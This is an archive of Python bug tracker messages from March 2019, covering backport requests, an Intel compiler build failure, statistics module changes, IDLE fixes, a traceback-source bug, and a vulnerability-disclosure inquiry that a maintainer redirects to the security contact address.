In-Reply-To: <1297436751.32.0.492226695457.issue11192@psf.upfronthosting.co.za>
Message-ID: <1552243256.89.0.657617598521.issue11192@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this also be backported to Version 3.7 and 3.6 (I do not expect it to be backported to 2.7, but I had mistakenly removed it 2.7 when I changed it to 3.8 - and should have added 3.6 and 3.7 then).

----------
versions: +Python 2.7, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11192>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:43:56 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:43:56 +0000
Subject: [issue34373] test_time errors on AIX
In-Reply-To: <1533917751.88.0.56676864532.issue34373@psf.upfronthosting.co.za>
Message-ID: <1552243436.9.0.360948090109.issue34373@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this alos be backported to Version 3.7 and 3.6 - thx!

----------
versions: +Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34373>
_______________________________________

From report at bugs.python.org  Sun Mar 10 14:48:12 2019
From: report at bugs.python.org (Michael Felt)
Date: Sun, 10 Mar 2019 18:48:12 +0000
Subject: [issue34347] AIX: test_utf8_mode.test_cmd_line fails
In-Reply-To: <1533571610.9.0.56676864532.issue34347@psf.upfronthosting.co.za>
Message-ID: <1552243692.93.0.496093366881.issue34347@roundup.psfhosted.org>


Michael Felt <aixtools at felt.demon.nl> added the comment:

Could this be backported to version 3.7?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34347>
_______________________________________

From report at bugs.python.org  Sun Mar 10 16:22:24 2019
From: report at bugs.python.org (Alain Miniussi)
Date: Sun, 10 Mar 2019 20:22:24 +0000
Subject: [issue36257] configure with --with-icc --with-cxx-main=icpc
Message-ID: <1552249344.2.0.510819308129.issue36257@roundup.psfhosted.org>


New submission from Alain Miniussi <alain.miniussi at oca.eu>:

Hi,

I'm trying to install 3.7.2 on CentOS 7.5 and intel 19:
[alainm at pollux Python-3.7.2]$ ./configure --prefix=/trinity/shared/OCA/softs/pyton-3.7-intel19 --with-icc --with-cxx-main=icpc --enable-optimizations 

Configure look ok but then compilation fails:
------
icpc -c -Wsign-compare -Wunreachable-code -DNDEBUG -g  -O3 -Wall    -std=c99 -Wextra -Wno-unused-parameter -Wno-missing-field-initializers -Wno-cast-function-type -Werror=implicit-function-declaration -fp-model strict -prof-gen  -I. -I./Include    -DPy_BUILD_CORE -o Programs/python.o ./Programs/python.c
icpc: command line warning #10148: option '-Wno-cast-function-type' not supported
icpc: command line warning #10381: option '-std=c99' is not valid for C++ compilations
In file included from ./Include/Python.h(65),
                 from ./Programs/python.c(3):
./Include/pyatomic.h(31): error: identifier "memory_order_relaxed" is undefined
      _Py_memory_order_relaxed = memory_order_relaxed,
....
-----
For some reason, the compilation (and no just the link and main's compilation) is made with icpc, not icc.
Also, if icc is to be used, 'icc -std=c11' is required to use memory_order_relaxed. 

If icpc was to be used,  memory_order_relaxed is in namespace std

Regards
Alain

----------
components: Installation
messages: 337637
nosy: aminiussi
priority: normal
severity: normal
status: open
title: configure with --with-icc --with-cxx-main=icpc
type: compile error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36257>
_______________________________________

From report at bugs.python.org  Sun Mar 10 16:27:25 2019
From: report at bugs.python.org (Henry Chen)
Date: Sun, 10 Mar 2019 20:27:25 +0000
Subject: [issue35892] Fix awkwardness of statistics.mode() for multimodal
 datasets
In-Reply-To: <1549219885.57.0.86866159357.issue35892@roundup.psfhosted.org>
Message-ID: <1552249645.91.0.950910136244.issue35892@roundup.psfhosted.org>


Change by Henry Chen <tahafut at gmail.com>:


----------
nosy: +scotchka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35892>
_______________________________________

From report at bugs.python.org  Sun Mar 10 16:28:46 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 10 Mar 2019 20:28:46 +0000
Subject: [issue35892] Fix awkwardness of statistics.mode() for multimodal
 datasets
In-Reply-To: <1549219885.57.0.86866159357.issue35892@roundup.psfhosted.org>
Message-ID: <1552249726.22.0.392785692121.issue35892@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Here's a text only link to the patch:  https://patch-diff.githubusercontent.com/raw/python/cpython/pull/12089.patch

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35892>
_______________________________________

From report at bugs.python.org  Sun Mar 10 18:19:05 2019
From: report at bugs.python.org (Ofek Lev)
Date: Sun, 10 Mar 2019 22:19:05 +0000
Subject: [issue36258] Incorrect docstring of the ssl module
Message-ID: <1552256345.94.0.910242914596.issue36258@roundup.psfhosted.org>


New submission from Ofek Lev <ofekmeister at gmail.com>:

The docstring refers to the function `fetch_server_certificate` that no longer exists. Context from https://github.com/python/cpython/pull/12168#issuecomment-469488585:

"""
In the commit on 8/28/2007, the ssl.py module was first added and it contained the fetch_server_certificate() function. That function was removed with commit r57680 on 8/30/2007. The function get_server_certificate() was added in commit r58164 on 9/18/2007.
...
Additionally, there are more than just 2 functions now, so it seems to me that the entire module docstring should be reviewed and updated to reflect the current state of the module or else it should be removed since it hasn't been kept in sync.
"""

----------
assignee: docs at python
components: Documentation
messages: 337639
nosy: Ofekmeister, cheryl.sabella, docs at python
priority: normal
severity: normal
status: open
title: Incorrect docstring of the ssl module
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36258>
_______________________________________

From report at bugs.python.org  Sun Mar 10 20:18:42 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 11 Mar 2019 00:18:42 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552263522.99.0.0562393558111.issue36176@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset 491ef53c1548c2b593d3c35d1e7bf25ccb443019 by Terry Jan Reedy in branch 'master':
bpo-36176: Fix IDLE autocomplete & calltip popup colors. (#12262)
https://github.com/python/cpython/commit/491ef53c1548c2b593d3c35d1e7bf25ccb443019


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sun Mar 10 20:18:54 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 11 Mar 2019 00:18:54 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552263534.66.0.596240071958.issue36176@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12253

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sun Mar 10 20:37:39 2019
From: report at bugs.python.org (miss-islington)
Date: Mon, 11 Mar 2019 00:37:39 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552264659.3.0.931947482084.issue36176@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset ea1627008e2ccca3eefa8f4f8123ad74d34c7500 by Miss Islington (bot) in branch '3.7':
bpo-36176: Fix IDLE autocomplete & calltip popup colors. (GH-12262)
https://github.com/python/cpython/commit/ea1627008e2ccca3eefa8f4f8123ad74d34c7500


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Sun Mar 10 21:51:16 2019
From: report at bugs.python.org (rhubarbdog x)
Date: Mon, 11 Mar 2019 01:51:16 +0000
Subject: [issue36259] exception text is being sourced from the wrong file
Message-ID: <1552269076.95.0.121796097495.issue36259@roundup.psfhosted.org>


New submission from rhubarbdog x <rhubarbdog76 at gmail.com>:

Hi
i have a directory containing a directory `bug` and the python program `bad.py`.  The code for `bad.py` is
```
import os

os.chdir('bug')
print(7/0)
```

directory `bug` contains a file `bad.py` this file contents are
```
test 1
test 2
test 3
test 4
test 5
test 6
```

when i run the python script i get the error text
```
Traceback (most recent call last):
  File "bad.py", line 4, in <module>
    test 4
ZeroDivisionError: division by zero
```

----------
messages: 337642
nosy: rhubarbdog x
priority: normal
severity: normal
status: open
title: exception text is being sourced from the wrong file
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36259>
_______________________________________

From report at bugs.python.org  Sun Mar 10 21:59:55 2019
From: report at bugs.python.org (Joshua Jay Herman)
Date: Mon, 11 Mar 2019 01:59:55 +0000
Subject: [issue36184] [EASY] test_gdb.test_threads() is specific to
 _POSIX_THREADS, fail on FreeBSD
In-Reply-To: <1551709428.6.0.389379055632.issue36184@roundup.psfhosted.org>
Message-ID: <1552269595.92.0.133412107729.issue36184@roundup.psfhosted.org>


Joshua Jay Herman <zitterbewegung at gmail.com> added the comment:

Hi, I would like to try to solve this issue. Does this occur on the latest version of FreeBSD?

----------
nosy: +zitterbewegung

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36184>
_______________________________________

From report at bugs.python.org  Sun Mar 10 22:06:34 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 11 Mar 2019 02:06:34 +0000
Subject: [issue36259] exception text is being sourced from the wrong file
In-Reply-To: <1552269076.95.0.121796097495.issue36259@roundup.psfhosted.org>
Message-ID: <1552269994.15.0.496272191788.issue36259@roundup.psfhosted.org>


Change by Steven D'Aprano <steve+python at pearwood.info>:


----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36259>
_______________________________________

From report at bugs.python.org  Sun Mar 10 22:23:20 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Mon, 11 Mar 2019 02:23:20 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552271000.53.0.0847883720306.issue36176@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Mon Mar 11 00:44:41 2019
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 11 Mar 2019 04:44:41 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552279481.63.0.788828368575.issue35647@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:

Yes, I'd like backports to 3.5 and 3.4.  Note that I tag and release 3.4.10 final this weekend, which will be the final release ever of 3.4, so if it can't be ready for merging before then, you might as well skip the 3.4 PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Mon Mar 11 00:58:50 2019
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 11 Mar 2019 04:58:50 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552280330.46.0.0383145017405.issue36216@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset 62d36547f97210a26cc6051da78714fd078e158c by larryhastings (Steve Dower) in branch '3.4':
bpo-36216: Add check for characters in netloc that normalize to separators (GH-12201) (#12224)
https://github.com/python/cpython/commit/62d36547f97210a26cc6051da78714fd078e158c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Mon Mar 11 00:59:26 2019
From: report at bugs.python.org (Larry Hastings)
Date: Mon, 11 Mar 2019 04:59:26 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552280366.26.0.653944603851.issue36216@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset c0d95113b070799679bcb9dc49d4960d82e8bb08 by larryhastings (Steve Dower) in branch '3.5':
bpo-36216: Add check for characters in netloc that normalize to separators (GH-12201) (#12223)
https://github.com/python/cpython/commit/c0d95113b070799679bcb9dc49d4960d82e8bb08


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Mon Mar 11 01:14:12 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 05:14:12 +0000
Subject: [issue36259] exception text is being sourced from the wrong file
In-Reply-To: <1552269076.95.0.121796097495.issue36259@roundup.psfhosted.org>
Message-ID: <1552281252.52.0.611180596892.issue36259@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I noticed a similar report in the past where using chdir causes pdb to use the file path relative to the directory where it chdir to . I am not sure if both are same but the issue I am talking about is issue33139

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36259>
_______________________________________

From report at bugs.python.org  Mon Mar 11 01:22:40 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Mon, 11 Mar 2019 05:22:40 +0000
Subject: [issue4080] unittest: display time used by each test case
In-Reply-To: <1223497696.14.0.913391715353.issue4080@psf.upfronthosting.co.za>
Message-ID: <1552281760.37.0.455323875882.issue4080@roundup.psfhosted.org>


Change by Giampaolo Rodola' <g.rodola at gmail.com>:


----------
pull_requests: +12254

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue4080>
_______________________________________

From report at bugs.python.org  Mon Mar 11 01:24:21 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Mon, 11 Mar 2019 05:24:21 +0000
Subject: [issue4080] unittest: display time used by each test case
In-Reply-To: <1223497696.14.0.913391715353.issue4080@psf.upfronthosting.co.za>
Message-ID: <1552281861.21.0.576427881739.issue4080@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

Hello. This is something I needed so I decided to implement it by taking inspiration from pytest's --durations=N argument, which basically does the same (except that it uses 0.XX precision instead of 0.XXX). PR at: https://github.com/python/cpython/pull/12271

----------
versions: +Python 3.8 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue4080>
_______________________________________

From report at bugs.python.org  Mon Mar 11 02:53:16 2019
From: report at bugs.python.org (Ketan Sharma)
Date: Mon, 11 Mar 2019 06:53:16 +0000
Subject: [issue36223] Execution sequence for print function
In-Reply-To: <1551954265.43.0.245266247678.issue36223@roundup.psfhosted.org>
Message-ID: <1552287196.33.0.355268820107.issue36223@roundup.psfhosted.org>


Ketan Sharma <iitkgp.ketan at gmail.com> added the comment:

Realized this is expected behavior. Slight modification to the existing comments:
Resolution happens in usual order for print(a, pola(a), a).

1) a -> is a reference to the array, resolved as is.
2) pola(a) -> changes the values pointed at by the reference a
3) a -> resolved as the new array values.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36223>
_______________________________________

From report at bugs.python.org  Mon Mar 11 03:16:58 2019
From: report at bugs.python.org (Nick Sung)
Date: Mon, 11 Mar 2019 07:16:58 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
Message-ID: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>


New submission from Nick Sung <sungboss2004 at gmail.com>:

Dear Python Community, 

We?ve found a vulnerability in cpython Lib and already received a cve number (CVE-2019-9674)
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9674

We also have a patch for this vulnerability, please tell us what to do next.
Since we don?t want to uncover the vulnerability before it get fixed.

JUN-WEI SONG

----------
components: Library (Lib)
messages: 337650
nosy: krnick
priority: normal
severity: normal
status: open
title: Cpython/Lib vulnerability found and request a patch submission
type: security
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Mon Mar 11 03:19:41 2019
From: report at bugs.python.org (KunYu Chen)
Date: Mon, 11 Mar 2019 07:19:41 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1552288781.88.0.810169850325.issue36260@roundup.psfhosted.org>


KunYu Chen <xspiritualx at gmail.com> added the comment:

Dear community,

I am one of the discoverer of this vulnerability, please tell us what to do next :D 

Kunyu Chen

----------
nosy: +18z

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Mon Mar 11 03:22:30 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 11 Mar 2019 07:22:30 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1552288950.46.0.319871147975.issue36260@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

You can find the process to report security vulnerabilities at https://www.python.org/news/security/ . Please email the details to security at python.org and who will analyze the report before public disclosure.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Mon Mar 11 04:01:41 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 11 Mar 2019 08:01:41 +0000
Subject: [issue36240] Definitions of time
In-Reply-To: <1552055339.11.0.882485944217.issue36240@roundup.psfhosted.org>
Message-ID: <1552291301.7.0.939551532371.issue36240@roundup.psfhosted.org>


Change by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy: +belopolsky, mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36240>
_______________________________________

From report at bugs.python.org  Mon Mar 11 04:28:15 2019
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 11 Mar 2019 08:28:15 +0000
Subject: [issue36259] exception text is being sourced from the wrong file
In-Reply-To: <1552269076.95.0.121796097495.issue36259@roundup.psfhosted.org>
Message-ID: <1552292895.62.0.998787058857.issue36259@roundup.psfhosted.org>


Change by Ronald Oussoren <ronaldoussoren at mac.com>:


----------
versions: +Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36259>
_______________________________________

From report at bugs.python.org  Mon Mar 11 04:42:46 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 11 Mar 2019 08:42:46 +0000
Subject: [issue34711] Lib/http/server.py: Return HTTPStatus.NOT_FOUND if
 path.endswith(/) and not a directory
In-Reply-To: <1537179798.31.0.956365154283.issue34711@psf.upfronthosting.co.za>
Message-ID: <1552293766.28.0.628889927508.issue34711@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Michael,

I think no, because 3.6 is in security mode.

----------
nosy: +matrixise
versions:  -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34711>
_______________________________________

From report at bugs.python.org  Mon Mar 11 04:59:23 2019
From: report at bugs.python.org (Harmon)
Date: Mon, 11 Mar 2019 08:59:23 +0000
Subject: [issue34506] Traceback logged when SSL handshake fails
In-Reply-To: <1535269470.94.0.56676864532.issue34506@psf.upfronthosting.co.za>
Message-ID: <1552294763.7.0.765018076355.issue34506@roundup.psfhosted.org>


Change by Harmon <Harmon758 at gmail.com>:


----------
nosy: +Harmon758

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34506>
_______________________________________

From report at bugs.python.org  Mon Mar 11 05:17:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 11 Mar 2019 09:17:13 +0000
Subject: [issue36260] Cpython/Lib vulnerability found and request a patch
 submission
In-Reply-To: <1552288618.75.0.236192047967.issue36260@roundup.psfhosted.org>
Message-ID: <1552295833.9.0.468131240487.issue36260@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36260>
_______________________________________

From report at bugs.python.org  Mon Mar 11 06:10:54 2019
From: report at bugs.python.org (Johann Krauter)
Date: Mon, 11 Mar 2019 10:10:54 +0000
Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1552299054.05.0.494819363979.issue36233@roundup.psfhosted.org>


Johann Krauter <johannkrauter at googlemail.com> added the comment:

The xml parser of OpenCV (3.4.5) in C++ is not able to load such xml file.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Mon Mar 11 06:49:36 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 11 Mar 2019 10:49:36 +0000
Subject: [issue36042] Setting __init_subclass__ and __class_getitem__ methods
 are in runtime doesnt make them class method.
In-Reply-To: <1550596795.62.0.0325313661294.issue36042@roundup.psfhosted.org>
Message-ID: <1552301376.94.0.110375506301.issue36042@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
resolution:  -> not a bug
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36042>
_______________________________________

From report at bugs.python.org  Mon Mar 11 06:54:14 2019
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 11 Mar 2019 10:54:14 +0000
Subject: [issue32846] Deletion of large sets of strings is extra slow
In-Reply-To: <1518654213.84.0.467229070634.issue32846@psf.upfronthosting.co.za>
Message-ID: <1552301654.59.0.890614458816.issue32846@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I thought compact set implementation similar to dict sicne Python 3.6 may fix this issue.
But as discussion with Raymond on Python-Dev ML, I conclude the merits of compact implementation is not significant enough.
I abandoned compact set branch.

Now I don't have any idea to fix this issue in foreseeable future.
Please use dict instead.

----------
resolution:  -> wont fix
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32846>
_______________________________________

From report at bugs.python.org  Mon Mar 11 07:01:24 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 11 Mar 2019 11:01:24 +0000
Subject: [issue28956] return list of modes for a multimodal distribution
 instead of raising a StatisticsError
In-Reply-To: <1481602901.85.0.570887953824.issue28956@psf.upfronthosting.co.za>
Message-ID: <1552302084.19.0.801211917327.issue28956@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

I'm closing this issue in favour of Raymond's #35892, thank you to everyone even if your PRs didn't get used, I appreciate your efforts.

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue28956>
_______________________________________

From report at bugs.python.org  Mon Mar 11 07:27:29 2019
From: report at bugs.python.org (era)
Date: Mon, 11 Mar 2019 11:27:29 +0000
Subject: [issue36261] email examples should not gratuitously mess with preamble
Message-ID: <1552303649.8.0.648804018015.issue36261@roundup.psfhosted.org>


New submission from era <era+python at iki.fi>:

Several of the examples in the email module documentation modify the preamble.

This is not good practice. The email MIME preamble is really only useful for communicating information about MIME itself, not for general human-readable content like 'Our family reunion'.

The MIME preamble is problematic because it typically only supports ASCII and often defaults to an English-language message, even when applications are used in locales where English is not widely understood.  For this reason, it is moderately useful to be able to override the preamble from Python code; but this should by no means be done routinely, and the documentation should certainly not demonstrate this in basic examples.

----------
components: email
messages: 337657
nosy: barry, era, r.david.murray
priority: normal
severity: normal
status: open
title: email examples should not gratuitously mess with preamble
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36261>
_______________________________________

From report at bugs.python.org  Mon Mar 11 07:31:31 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 11 Mar 2019 11:31:31 +0000
Subject: [issue36018] Add a Normal Distribution class to the statistics module
In-Reply-To: <1550448059.37.0.914986932061.issue36018@roundup.psfhosted.org>
Message-ID: <1552303891.34.0.303986564768.issue36018@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

I've done some spot checks of NormDist.pdf and .cdf and compared the results to those returned by my TI Nspire calculator.

So far, the PDF has matched that of the Nspire to 12 decimal places (the limit the calculator will show), but the CDF differs on or about the 8th decimal place:


py> x = statistics.NormalDist(2, 1.3)
py> x.cdf(5.374)
0.9952757439207682
# Nspire normCdf(-?, 5.372, 2, 1.3) returns 0.995275710979
# difference of 3.294176820212158e-08


py> x.cdf(-0.23)
0.04313736707891003
# Nspire normCdf(-?, -0.23, 2, 1.3) returns 0.043137332077
# difference of 3.500191003008579e-08

Wolfram Alpha doesn't help me decide which is correct, as it doesn't show enough decimal places.

https://www.wolframalpha.com/input/?i=CDF[+NormalDistribution[2,+1.3],+5.374+]

https://www.wolframalpha.com/input/?i=CDF[+NormalDistribution[2,+1.3],+-0.23+]


Do we care about this difference? Should I raise a new ticket for it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36018>
_______________________________________

From report at bugs.python.org  Mon Mar 11 08:01:27 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 11 Mar 2019 12:01:27 +0000
Subject: [issue35892] Fix awkwardness of statistics.mode() for multimodal
 datasets
In-Reply-To: <1549219885.57.0.86866159357.issue35892@roundup.psfhosted.org>
Message-ID: <1552305687.17.0.0178730552109.issue35892@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

Looks good to me, I'm happy to accept it.

Thank you for your efforts Raymond, can I trouble you to do the merge yourself please, I'm still having issues using the Github website.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35892>
_______________________________________

From report at bugs.python.org  Mon Mar 11 08:12:46 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 11 Mar 2019 12:12:46 +0000
Subject: [issue36018] Add a Normal Distribution class to the statistics module
In-Reply-To: <1550448059.37.0.914986932061.issue36018@roundup.psfhosted.org>
Message-ID: <1552306366.68.0.634542532234.issue36018@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

According to GP/Pari, the correctly value for the first result, to the first few dozen places, is:

0.995275743920768157605659214368609706759611629000344854339231928536087783251913252354...

I'm assuming you meant 5.374 rather than 5.372 in the first Nspire result.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36018>
_______________________________________

From report at bugs.python.org  Mon Mar 11 08:37:23 2019
From: report at bugs.python.org (Christian Schmidbauer)
Date: Mon, 11 Mar 2019 12:37:23 +0000
Subject: [issue36226] multipart/related header causes false positive
 StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
In-Reply-To: <1551972677.41.0.0937724546543.issue36226@roundup.psfhosted.org>
Message-ID: <1552307843.16.0.973865707236.issue36226@roundup.psfhosted.org>


Christian Schmidbauer <cschmidbauer at genesiscloud.com> added the comment:

@martin.panter: I see a relation to issue 29353, but I don't see why this report here is a duplicate. Could you elaborate on this?

Issue 29991 contains parts of what I reported here, but it is closed "resolved" and refers back to 29353.

I also tried your patch "policy-flag.patch" and it did not help in the regard of the bug here and tests which are included in the PR.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36226>
_______________________________________

From report at bugs.python.org  Mon Mar 11 08:44:52 2019
From: report at bugs.python.org (Mark Dickinson)
Date: Mon, 11 Mar 2019 12:44:52 +0000
Subject: [issue36018] Add a Normal Distribution class to the statistics module
In-Reply-To: <1550448059.37.0.914986932061.issue36018@roundup.psfhosted.org>
Message-ID: <1552308292.17.0.62022566744.issue36018@roundup.psfhosted.org>


Mark Dickinson <dickinsm at gmail.com> added the comment:

Below is the full transcript from Pari/GP: note that I converted the float inputs to exact Decimal equivalents, assuming IEEE 754 binary64. Summary: both Python results look fine; it's Nspire that's inaccurate here.


mirzakhani:~ mdickinson$ /opt/local/bin/gp
                                            GP/PARI CALCULATOR Version 2.11.1 (released)
                                    i386 running darwin (x86-64/GMP-6.1.2 kernel) 64-bit version
                               compiled: Jan 24 2019, Apple LLVM version 10.0.0 (clang-1000.11.45.5)
                                                      threading engine: single
                                           (readline v8.0 enabled, extended help enabled)

                                               Copyright (C) 2000-2018 The PARI Group

PARI/GP is free software, covered by the GNU General Public License, and comes WITHOUT ANY WARRANTY WHATSOEVER.

Type ? for help, \q to quit.
Type ?17 for how to get moral (and possibly technical) support.

parisize = 8000000, primelimit = 500000
? \p 200
   realprecision = 211 significant digits (200 digits displayed)
? ncdf(x, mu, sig) = (2 - erfc((x - mu) / sig / sqrt(2))) / 2
%1 = (x,mu,sig)->(2-erfc((x-mu)/sig/sqrt(2)))/2
? ncdf(5.37399999999999966604491419275291264057159423828125, 2, 1.3000000000000000444089209850062616169452667236328125)
%2 = 0.99527574392076815760565921436860970675961162900034485433923192853608778325191325235412640687571628164064779657215907190523884572141701976336760387216713270956350229484865180142256611330976179584951493
